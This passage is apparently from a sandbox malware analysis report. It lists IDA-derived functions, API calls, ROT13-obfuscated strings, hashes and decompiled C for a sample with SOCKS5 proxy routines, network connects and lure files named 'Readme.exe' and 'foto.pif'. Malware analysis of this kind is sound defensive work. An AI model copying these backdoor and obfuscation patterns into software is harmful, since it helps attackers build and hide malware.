
Socks5GetCmd.SHERVANS ref: 10001CE0

Part of subcall function 100017DF: sread.SHERVANS ref: 10001806

Socks5CmdIsSupported.SHERVANS ref: 10001D0D

Part of subcall function 1000153E: Socks5SendCode.SHERVANS ref: 10001572

Socks5ServConnect.SHERVANS ref: 10001D36

Part of subcall function 10001451: socket.WS2_32 ref: 10001482
Part of subcall function 10001451: Socks5SendCode.SHERVANS ref: 100014B1

Socks5SendCode.SHERVANS ref: 10001D63

Part of subcall function 1000140F: swrite.SHERVANS ref: 1000144A

CreateConnectStruct.SHERVANS ref: 10001D79

Part of subcall function 100011DB: _malloc.SHERVANS ref: 100011F4

create_thread.SHERVANS ref: 10001D91

Part of subcall function 10001180: CreateThread.KERNEL32 ref: 100011B3

SocksPipe@4.SHERVANS ref: 10001D99

Part of subcall function 100012E4: swrite.SHERVANS ref: 10001337

closesocket.WS2_32 ref: 10001DB1
closesocket.WS2_32 ref: 10001DBC

Memory Dump Source

Source File: 00000000.00000002.315838367.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.315832824.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315881149.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315891328.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315896779.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315901095.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315906116.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_ydbWyoxHsd.jbxd

Similarity

API ID: Socks5$CodeSendsreadswrite$ConnectCreateclosesocket$AcceptAuthPipe@4ServSocksStructSupportedThread_malloccreate_threadsocket
String ID:
API String ID: 3751663279-0
Opcode ID: a2bd8abaf4e674468f1f84b6ef6117d609ec6930b513e553faca06ef849a4ba0
Instruction ID: 4b573f6a928498a40c2cc82285d3d9912bf6b4ab208de6b3f8843c6836bde082
Opcode Fuzzy Hash: a2bd8abaf4e674468f1f84b6ef6117d609ec6930b513e553faca06ef849a4ba0
Instruction Fuzzy Hash: 8531C8B88083189FD750DF65C4812DEBBF4EF48750F0189AEE99997305E7749A94CF82

Uniqueness

Uniqueness Score: -1.00%

Function 00402BBA Relevance: 13.6, APIs: 8, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32 ref: 00402BCE
lstrcat.KERNEL32 ref: 00402BE8

Part of subcall function 00404EAE: GetTickCount.KERNEL32 ref: 00404EB8
Part of subcall function 00404EAE: srand.MSVCRT ref: 00404EC0
Part of subcall function 00404EAE: rand.MSVCRT ref: 00404EC5

lstrcat.KERNEL32 ref: 00402C20
lstrcat.KERNEL32 ref: 00402C42
lstrcat.KERNEL32 ref: 00402C67
lstrcat.KERNEL32 ref: 00402C91
lstrcat.KERNEL32 ref: 00402CB3
lstrcat.KERNEL32 ref: 00402CD8

Strings

mvcsvnd.qyy, xrefs: 00402CE0

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: lstrcat$CountTickrandsrand
String ID: mvcsvnd.qyy
API String ID: 2629717045-1605320677
Opcode ID: b637c6e49b961f897a22e2996b1a65de55874454525e38e3c73dff940bc89bf3
Instruction ID: 3c31970993b76fcb6f62e82551040ecc98f125b31847a965db22ab4f080a2362
Opcode Fuzzy Hash: b637c6e49b961f897a22e2996b1a65de55874454525e38e3c73dff940bc89bf3
Instruction Fuzzy Hash: F441FBB59043048BCB10BF65D98569DBBF0BF84314F40897FE584A7381EB389698CF96

Uniqueness

Uniqueness Score: -1.00%

Function 00403AE0 Relevance: 13.6, APIs: 1, Strings: 8, Instructions: 83sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00404620: memset.MSVCRT ref: 0040463D
Part of subcall function 00404620: GetSystemDirectoryA.KERNEL32 ref: 00404649
Part of subcall function 00404620: lstrlen.KERNEL32 ref: 00404654
Part of subcall function 00404620: lstrcat.KERNEL32 ref: 0040466E
Part of subcall function 00404620: lstrcat.KERNEL32 ref: 00404680

Part of subcall function 0040829C: CreateFileA.KERNEL32 ref: 004082DE
Part of subcall function 0040829C: CreateFileA.KERNEL32 ref: 00408336
Part of subcall function 0040829C: CloseHandle.KERNEL32 ref: 00408356

Part of subcall function 0040829C: GetFileSize.KERNEL32 ref: 00408409
Part of subcall function 0040829C: GetFileSize.KERNEL32 ref: 00408422
Part of subcall function 0040829C: lstrlen.KERNEL32 ref: 00408436
Part of subcall function 0040829C: WriteFile.KERNEL32 ref: 00408480
Part of subcall function 0040829C: lstrlen.KERNEL32 ref: 0040848E
Part of subcall function 0040829C: WriteFile.KERNEL32 ref: 004084BC
Part of subcall function 0040829C: lstrlen.KERNEL32 ref: 004084CA
Part of subcall function 0040829C: SetFilePointer.KERNEL32 ref: 004084F0
Part of subcall function 0040829C: ReadFile.KERNEL32 ref: 00408529

Part of subcall function 00404F0A: GetModuleHandleA.KERNEL32 ref: 00404F27
Part of subcall function 00404F0A: LoadLibraryA.KERNEL32 ref: 00404F41
Part of subcall function 00404F0A: InternetGetConnectedState.WININET ref: 00404F6B

Sleep.KERNEL32 ref: 00403BC2

Strings

mvcsv.qyy, xrefs: 00403B1B
x, xrefs: 00403B80
mvcsvnd.qyy, xrefs: 00403B66
Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Rkcybere\ihyaiby32\Irefvba, xrefs: 00403BDD
fgngrz, xrefs: 00403BF3
tepbcl.qyy, xrefs: 00403AEB
Readme.exe, xrefs: 00403B45
foto.pif, xrefs: 00403B96

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: File$lstrlen$CreateHandleSizeWritelstrcat$CloseConnectedDirectoryInternetLibraryLoadModulePointerReadSleepStateSystemmemset
String ID: Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Rkcybere\ihyaiby32\Irefvba$Readme.exe$fgngrz$foto.pif$mvcsv.qyy$mvcsvnd.qyy$tepbcl.qyy$x
API String ID: 1266463258-727612787
Opcode ID: 4f08fd3119f6ef70fbf57858498a347b0345bdf901e6be3e447fbd951a2ad8b7
Instruction ID: aba1e27b33e5380b7e2637a9dd0f7b6f92beebfe16ff9740c24b48d29de174a4
Opcode Fuzzy Hash: 4f08fd3119f6ef70fbf57858498a347b0345bdf901e6be3e447fbd951a2ad8b7
Instruction Fuzzy Hash: 00313BB08097159AD310BF22C58529EBBE4AF80749F41CC7EF5C867281DB3C9689DB5A

Uniqueness

Uniqueness Score: -1.00%

Function 100012E4 Relevance: 10.6, APIs: 7, Instructions: 82sleepCOMMON

Download Yara Rule

APIs

swrite.SHERVANS ref: 10001337

Part of subcall function 10001236: send.WS2_32 ref: 1000125F

shutdown.WS2_32 ref: 10001395
shutdown.WS2_32 ref: 100013AB
closesocket.WS2_32 ref: 100013B9
closesocket.WS2_32 ref: 100013C7
Sleep.KERNEL32 ref: 100013E1
GlobalFree.KERNEL32 ref: 100013F9

Memory Dump Source

Source File: 00000000.00000002.315838367.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.315832824.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315881149.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315891328.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315896779.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315901095.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315906116.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_ydbWyoxHsd.jbxd

Similarity

API ID: closesocketshutdown$FreeGlobalSleepsendswrite
String ID:
API String ID: 1878692053-0
Opcode ID: e0839c0ce4ee56aa669c213a4fa6ec1e94d32b6c2ce99eb8bfe8c713ce6150e8
Instruction ID: 48072c1fa49bddfcfd526dd8cb4adb201c308eb4763bb1a22db86958bf961fa8
Opcode Fuzzy Hash: e0839c0ce4ee56aa669c213a4fa6ec1e94d32b6c2ce99eb8bfe8c713ce6150e8
Instruction Fuzzy Hash: 7E311CB0608240CBEB02EF79C5C579ABFE4EF01390F0585A8ED848F25AD775E945CB62

Uniqueness

Uniqueness Score: -1.00%

Function 00405EE8 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 119memorystringCOMMON

Download Yara Rule

APIs

strchr.MSVCRT ref: 00405F28
GetProcessHeap.KERNEL32 ref: 00405F38

Part of subcall function 00409250: malloc.MSVCRT ref: 004092A3

Part of subcall function 004060AA: DnsQuery_A.DNSAPI ref: 004060E7
Part of subcall function 004060AA: GetProcessHeap.KERNEL32 ref: 0040610A
Part of subcall function 004060AA: RtlAllocateHeap.NTDLL ref: 00406122
Part of subcall function 004060AA: lstrcpy.KERNEL32 ref: 00406144
Part of subcall function 004060AA: GlobalFree.KERNEL32 ref: 00406182

GetProcessHeap.KERNEL32 ref: 00406049
HeapFree.KERNEL32 ref: 00406060

Part of subcall function 0040619A: memset.MSVCRT ref: 004061C4
Part of subcall function 0040619A: GetSystemTime.KERNEL32 ref: 00406249
Part of subcall function 0040619A: wsprintfA.USER32 ref: 004062BD
Part of subcall function 0040619A: socket.WS2_32 ref: 004062D9
Part of subcall function 0040619A: htons.WS2_32 ref: 004062F9
Part of subcall function 0040619A: inet_addr.WS2_32 ref: 0040630B
Part of subcall function 0040619A: gethostbyname.WS2_32 ref: 00406321
Part of subcall function 0040619A: connect.WS2_32 ref: 0040634D

Strings

j_@, xrefs: 00405FD2
@, xrefs: 00405F1A

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: Heap$Process$Free$AllocateGlobalQuery_SystemTimeconnectgethostbynamehtonsinet_addrlstrcpymallocmemsetsocketstrchrwsprintf
String ID: @$j_@
API String ID: 3179556216-3208567232
Opcode ID: 9019b2dfd91c923306931ebe787b21ef8ab25a52cd19833d7762eabd49a2fa17
Instruction ID: 173fe34617f367652bf3f1e9fca4c53672752cc9009160b2f8c90af088e1383c
Opcode Fuzzy Hash: 9019b2dfd91c923306931ebe787b21ef8ab25a52cd19833d7762eabd49a2fa17
Instruction Fuzzy Hash: 7551B4B4904709DFCB10DFA5C48468EBBF1FF88314F14862AE868A7395D3389846CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0040A9D0 Relevance: 9.1, APIs: 6, Instructions: 118COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 0040AA3D
SetLastError.KERNEL32 ref: 0040AA4F

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: ErrorLastValue
String ID:
API String ID: 1151882462-0
Opcode ID: 49d06252631d2c5c8c2d25fde44a13d536e716d3c70b2a77a029649fafb08e20
Instruction ID: 444a06ef6d56dde007bbc20e4d8b26003c34dd805877e33333d77d24524e80d9
Opcode Fuzzy Hash: 49d06252631d2c5c8c2d25fde44a13d536e716d3c70b2a77a029649fafb08e20
Instruction Fuzzy Hash: 88513A70E003088FDB10EFA9DA8469EBBF4BB04304F14853AD845B7390DB78A955CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 0040BB20 Relevance: 9.1, APIs: 6, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E0040BB20(void* __ebx, void* __edi, void* __esi, intOrPtr _a4) {
				void* _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				void* _v28;
				void* _v40;
				intOrPtr _v52;
				long _v56;
				void* _v60;
				intOrPtr _v84;
				intOrPtr _v96;
				void* _t54;
				long _t56;
				void* _t57;
				void* _t58;
				void* _t60;
				void* _t62;
				long _t65;
				void* _t66;
				void* _t67;
				intOrPtr* _t70;
				void* _t72;
				void* _t78;
				void* _t82;
				void* _t88;
				void* _t94;
				intOrPtr _t101;
				long _t113;
				intOrPtr _t116;
				intOrPtr _t117;
				void* _t119;
				intOrPtr* _t120;
				long* _t121;
				void** _t122;
				long* _t123;
				intOrPtr* _t124;

				_t87 = __ebx;
				_push(__ebx);
				_t120 = _t119 - 0x1c;
				_t54 =  *0x418284;
				_t109 = _a4;
				if(_t54 == 0) {
					E0040B0E0(_t54);
					_t54 =  *0x418284;
					_t113 =  *(_t54 + 0x30);
					if(_t113 >= 0) {
						goto L2;
					} else {
						goto L15;
					}
					goto L47;
				} else {
					_t113 =  *(_t54 + 0x30);
					if(_t113 < 0) {
						L15:
						E0040B3B0(_t87, _t113);
						_t54 =  *0x418284;
						_t88 =  *(_t54 + 0x30);
						if(_t88 == 0) {
							goto L3;
						} else {
							goto L17;
						}
						L47:
					} else {
						L2:
						_t88 =  *(_t54 + 0x30);
						if(_t88 != 0) {
							L17:
							_t56 = GetLastError();
							 *_t120 =  *((intOrPtr*)(_t54 + 0x2c));
							_t113 = _t56;
							_t57 = TlsGetValue(??);
							_t121 = _t120 - 4;
							_t88 = _t57;
							 *_t121 = _t113;
							SetLastError(??);
							_t58 = _t88;
							_t120 = _t121 - 4;
						} else {
							L3:
							_t58 =  *(_t54 + 0x28);
						}
					}
				}
				_v20 = _t58;
				_v24 = _t58;
				if( *((intOrPtr*)(_t109 + 0xc)) != 0) {
					_t60 = E0040B8D0(_t109,  &_v24);
				} else {
					_t60 = E0040B6B0(_t109,  &_v24);
				}
				if(_t60 == 7) {
					_t78 =  *0x418284;
					_t88 = _v24;
					if(_t78 == 0) {
						E0040B0E0(_t78);
						_t78 =  *0x418284;
						if( *((intOrPtr*)(_t78 + 0x30)) >= 0) {
							L9:
							_t109 =  *((intOrPtr*)(_t78 + 0x30));
							if( *((intOrPtr*)(_t78 + 0x30)) != 0) {
								_v40 = _t88;
								 *_t120 =  *((intOrPtr*)(_t78 + 0x2c));
								if(TlsSetValue(??, ??) == 0) {
									GetLastError();
								}
							} else {
								 *(_t78 + 0x28) = _t88;
							}
							_t82 = _v24;
							_t116 =  *((intOrPtr*)(_t82 + 0x20));
							_t120 =  *((intOrPtr*)(_t82 + 0x28));
							goto __ecx;
						}
						L22:
						E0040B3B0(_t88, _t113);
						_t78 =  *0x418284;
						goto L9;
					}
					if( *((intOrPtr*)(_t78 + 0x30)) < 0) {
						goto L22;
					}
					goto L9;
				}
				abort();
				_push(_t116);
				_t117 = _t120;
				_t122 = _t120 - 0x28;
				_v52 = _t109;
				_t110 = _v40;
				_v60 = _t88;
				_v56 = _t113;
				_t114 =  *(_t110 + 0xc);
				if( *(_t110 + 0xc) == 0) {
					 *_t122 = _t110;
					return E0040B740();
				} else {
					_t62 =  *0x418284;
					if(_t62 == 0) {
						E0040B0E0(_t62);
						_t62 =  *0x418284;
					}
					_t91 =  *((intOrPtr*)(_t62 + 0x30));
					if( *((intOrPtr*)(_t62 + 0x30)) < 0) {
						E0040B3B0(_t91, _t114);
						_t62 =  *0x418284;
					}
					if( *((intOrPtr*)(_t62 + 0x30)) != 0) {
						_t65 = GetLastError();
						 *_t122 =  *(_t62 + 0x2c);
						_t114 = _t65;
						_t66 = TlsGetValue(??);
						_t123 = _t122 - 4;
						 *_t123 = _t65;
						SetLastError(??);
						_t67 = _t66;
						_t122 = _t123 - 4;
					} else {
						_t67 =  *(_t62 + 0x28);
					}
					_v24 = _t67;
					_v28 = _t67;
					if(E0040B8D0(_t110,  &_v28) == 7) {
						_t72 =  *0x418284;
						_t94 = _v28;
						if(_t72 == 0) {
							E0040B0E0(_t72);
							_t72 =  *0x418284;
						}
						if( *(_t72 + 0x30) < 0) {
							E0040B3B0(_t94, _t114);
							_t72 =  *0x418284;
						}
						_t110 =  *(_t72 + 0x30);
						if( *(_t72 + 0x30) != 0) {
							_v84 = _t94;
							 *_t122 =  *(_t72 + 0x2c);
							if(TlsSetValue(??, ??) == 0) {
								GetLastError();
							}
						} else {
							 *((intOrPtr*)(_t72 + 0x28)) = _t94;
						}
						_t62 = _v28;
						_t117 =  *((intOrPtr*)(_t62 + 0x20));
						_t122 =  *(_t62 + 0x28);
						goto __ecx;
					}
					abort();
					_push(_t117);
					_t124 = _t122 - 8;
					_t101 = _v84;
					_t70 =  *((intOrPtr*)(_t101 + 8));
					if(_t70 != 0) {
						_v96 = _t101;
						 *_t124 = 1;
						return  *_t70();
					} else {
						return _t70;
					}
				}
				goto L47;
			}

0x0040bb20
0x0040bb25
0x0040bb26
0x0040bb29
0x0040bb2e
0x0040bb33
0x0040bbb4
0x0040bbb9
0x0040bbbe
0x0040bbc3
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040bb35
0x0040bb35
0x0040bb3a
0x0040bbd0
0x0040bbd0
0x0040bbd5
0x0040bbda
0x0040bbdf
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040bb40
0x0040bb40
0x0040bb40
0x0040bb45
0x0040bbf0
0x0040bbf3
0x0040bbf9
0x0040bbfc
0x0040bbfe
0x0040bc04
0x0040bc07
0x0040bc09
0x0040bc0c
0x0040bc12
0x0040bc14
0x0040bb4b
0x0040bb4b
0x0040bb4b
0x0040bb4b
0x0040bb45
0x0040bb3a
0x0040bb4e
0x0040bb54
0x0040bb59
0x0040bbad
0x0040bb5b
0x0040bb60
0x0040bb60
0x0040bb68
0x0040bb6e
0x0040bb73
0x0040bb78
0x0040bc46
0x0040bc4b
0x0040bc55
0x0040bb89
0x0040bb89
0x0040bb8e
0x0040bc23
0x0040bc27
0x0040bc35
0x0040bc3b
0x0040bc3b
0x0040bb94
0x0040bb94
0x0040bb94
0x0040bb97
0x0040bba0
0x0040bba3
0x0040bba6
0x0040bba6
0x0040bc60
0x0040bc60
0x0040bc65
0x00000000
0x0040bc65
0x0040bb83
0x00000000
0x00000000
0x00000000
0x0040bb83
0x0040bc6f
0x0040bc80
0x0040bc81
0x0040bc83
0x0040bc86
0x0040bc89
0x0040bc8c
0x0040bc8f
0x0040bc92
0x0040bc97
0x0040bd12
0x0040bd26
0x0040bc99
0x0040bc99
0x0040bca0
0x0040bd06
0x0040bd0b
0x0040bd0b
0x0040bca2
0x0040bca7
0x0040bd81
0x0040bd86
0x0040bd86
0x0040bcb2
0x0040bd2a
0x0040bd30
0x0040bd33
0x0040bd35
0x0040bd3b
0x0040bd40
0x0040bd43
0x0040bd49
0x0040bd4b
0x0040bcb4
0x0040bcb4
0x0040bcb4
0x0040bcb7
0x0040bcbd
0x0040bcca
0x0040bcd0
0x0040bcd5
0x0040bcda
0x0040bd72
0x0040bd77
0x0040bd77
0x0040bce5
0x0040bd90
0x0040bd95
0x0040bd95
0x0040bceb
0x0040bcf0
0x0040bd56
0x0040bd5a
0x0040bd68
0x0040bd6a
0x0040bd6a
0x0040bcf2
0x0040bcf2
0x0040bcf2
0x0040bcf5
0x0040bcfe
0x0040bd01
0x0040bd04
0x0040bd04
0x0040bd9f
0x0040bdb0
0x0040bdb3
0x0040bdb6
0x0040bdb9
0x0040bdbe
0x0040bdc2
0x0040bdc6
0x0040bdd0
0x0040bdc1
0x0040bdc1
0x0040bdc1
0x0040bdbe
0x00000000

APIs

GetLastError.KERNEL32(?,?,?,00000000,0040A5E0,?,0040915F), ref: 0040BBF3
TlsGetValue.KERNEL32(?,?,?,00000000,0040A5E0,?,0040915F), ref: 0040BBFE
SetLastError.KERNEL32(?,?,?,?,00000000,0040A5E0,?,0040915F), ref: 0040BC0C

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: ErrorLast$Value
String ID:
API String ID: 1883355122-0
Opcode ID: fa13b5d1df785b275ee1be112967064b6d69b0b989222e142ff9d8512929a6cc
Instruction ID: 70379029d47ec5d74f210fe91046701c6fe62c7a006fd99b0e016d118132c0f1
Opcode Fuzzy Hash: fa13b5d1df785b275ee1be112967064b6d69b0b989222e142ff9d8512929a6cc
Instruction Fuzzy Hash: A1315B70A0061A8FCB50EF65CA84A5ABBB4FB44300B0585BED904AB796DB34FD05CBDD

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 9.1, APIs: 6, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E00401000(intOrPtr __ebx, intOrPtr __esi, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr* _v24;
				intOrPtr* _t16;
				intOrPtr* _t27;
				intOrPtr* _t33;
				intOrPtr* _t37;

				_v12 = __ebx;
				_t27 = 0;
				_v8 = __esi;
				_t33 = 0;
				_t16 =  *((intOrPtr*)( *_a4));
				if(_t16 > 0xc0000091) {
					__eflags = _t16 - 0xc0000094;
					if(__eflags == 0) {
						goto L3;
					} else {
						if(__eflags > 0) {
							__eflags = _t16 - 0xc0000096;
							goto L14;
						} else {
							__eflags = _t16 - 0xc0000093;
							if(_t16 == 0xc0000093) {
								goto L2;
							} else {
								return 0;
							}
						}
					}
				} else {
					if(_t16 < 0xc000008d) {
						__eflags = _t16 - 0xc0000005;
						if(_t16 == 0xc0000005) {
							 *_t37 = 0xb;
							_v24 = 0;
							L0040C198();
							__eflags = 0 - 1;
							if(0 == 1) {
								 *_t37 = 0xb;
								_v24 = 1;
								L0040C198();
								goto L6;
							} else {
								__eflags = 0;
								if(0 != 0) {
									 *_t37 = 0xb;
									 *0x00000000();
									goto L6;
								}
							}
						} else {
							__eflags = _t16 - 0xc000001d;
							L14:
							if(__eflags == 0) {
								 *_t37 = 4;
								_v24 = 0;
								L0040C198();
								__eflags = _t16 - 1;
								if(_t16 == 1) {
									 *_t37 = 4;
									_v24 = 1;
									L0040C198();
									goto L6;
								} else {
									__eflags = _t16;
									if(_t16 != 0) {
										 *_t37 = 4;
										 *_t16();
										goto L6;
									}
								}
							}
						}
					} else {
						L2:
						_t33 = 1;
						L3:
						 *_t37 = 8;
						_v24 = 0;
						L0040C198();
						if(_t16 == 1) {
							 *_t37 = 8;
							_v24 = 1;
							L0040C198();
							__eflags = _t33;
							if(_t33 != 0) {
								E0040B000(1);
							}
							goto L6;
						} else {
							if(_t16 != 0) {
								 *_t37 = 8;
								 *_t16();
								L6:
								_t27 = 0xffffffff;
							}
						}
					}
					return _t27;
				}
			}

0x00401006
0x0040100c
0x0040100e
0x00401013
0x00401015
0x0040101c
0x00401061
0x00401066
0x00000000
0x00401068
0x00401068
0x004010b4
0x00000000
0x0040106a
0x0040106a
0x0040106f
0x00000000
0x00401071
0x0040107c
0x0040107c
0x0040106f
0x00401068
0x0040101e
0x00401023
0x00401080
0x00401085
0x004010e2
0x004010eb
0x004010ef
0x004010f4
0x004010f7
0x00401129
0x00401135
0x00401139
0x00000000
0x004010f9
0x004010f9
0x004010fb
0x00401101
0x00401108
0x00000000
0x00401108
0x004010fb
0x00401087
0x00401087
0x0040108c
0x0040108c
0x0040108e
0x00401097
0x0040109b
0x004010a0
0x004010a3
0x0040110f
0x0040111b
0x0040111f
0x00000000
0x004010a5
0x004010a5
0x004010a7
0x004010a9
0x004010b0
0x00000000
0x004010b0
0x004010a7
0x004010a3
0x0040108c
0x00401025
0x00401025
0x00401025
0x0040102a
0x0040102a
0x00401033
0x00401037
0x0040103f
0x004010bb
0x004010c7
0x004010cb
0x004010d0
0x004010d2
0x004010d8
0x004010d8
0x00000000
0x00401041
0x00401043
0x00401045
0x0040104c
0x0040104e
0x0040104e
0x0040104e
0x00401043
0x0040103f
0x0040105e
0x0040105e

APIs

signal.MSVCRT ref: 00401037
signal.MSVCRT ref: 0040109B
signal.MSVCRT ref: 004010CB

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: signal
String ID:
API String ID: 1946981877-0
Opcode ID: 9dd3622f94295c007e8091df12e6935fb1746a3fe3b08565decb20ecfd99f9c6
Instruction ID: 6d904beb62735350cc8560cdbfd164d6d9336f8a3c982fff81a65fa89f770588
Opcode Fuzzy Hash: 9dd3622f94295c007e8091df12e6935fb1746a3fe3b08565decb20ecfd99f9c6
Instruction Fuzzy Hash: BC3125709042449BE720AF69C58032EB6E0BB49314F15893FD9C5EB7E2C67E8DC09B4A

Uniqueness

Uniqueness Score: -1.00%

Function 10001A5B Relevance: 9.1, APIs: 6, Instructions: 89
stringCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E10001A5B(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4, short* _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v284;
				signed int _v285;
				signed int _v286;
				void* _v308;
				signed int _v312;
				char _v316;
				short* _v320;
				void* _t45;
				signed int _t46;
				void* _t53;
				signed int _t55;
				void* _t58;
				signed int _t60;
				signed int _t64;
				signed int _t70;
				signed int _t71;
				intOrPtr _t74;
				short* _t77;
				void* _t79;
				intOrPtr* _t80;

				_v16 = __ebx;
				_v12 = __esi;
				_v8 = __edi;
				_t74 = _a4;
				_t77 = _a8;
				_v286 = 0xff;
				_t46 = E1000128D(_t45, _t74, _t77, 2);
				_t71 = 0;
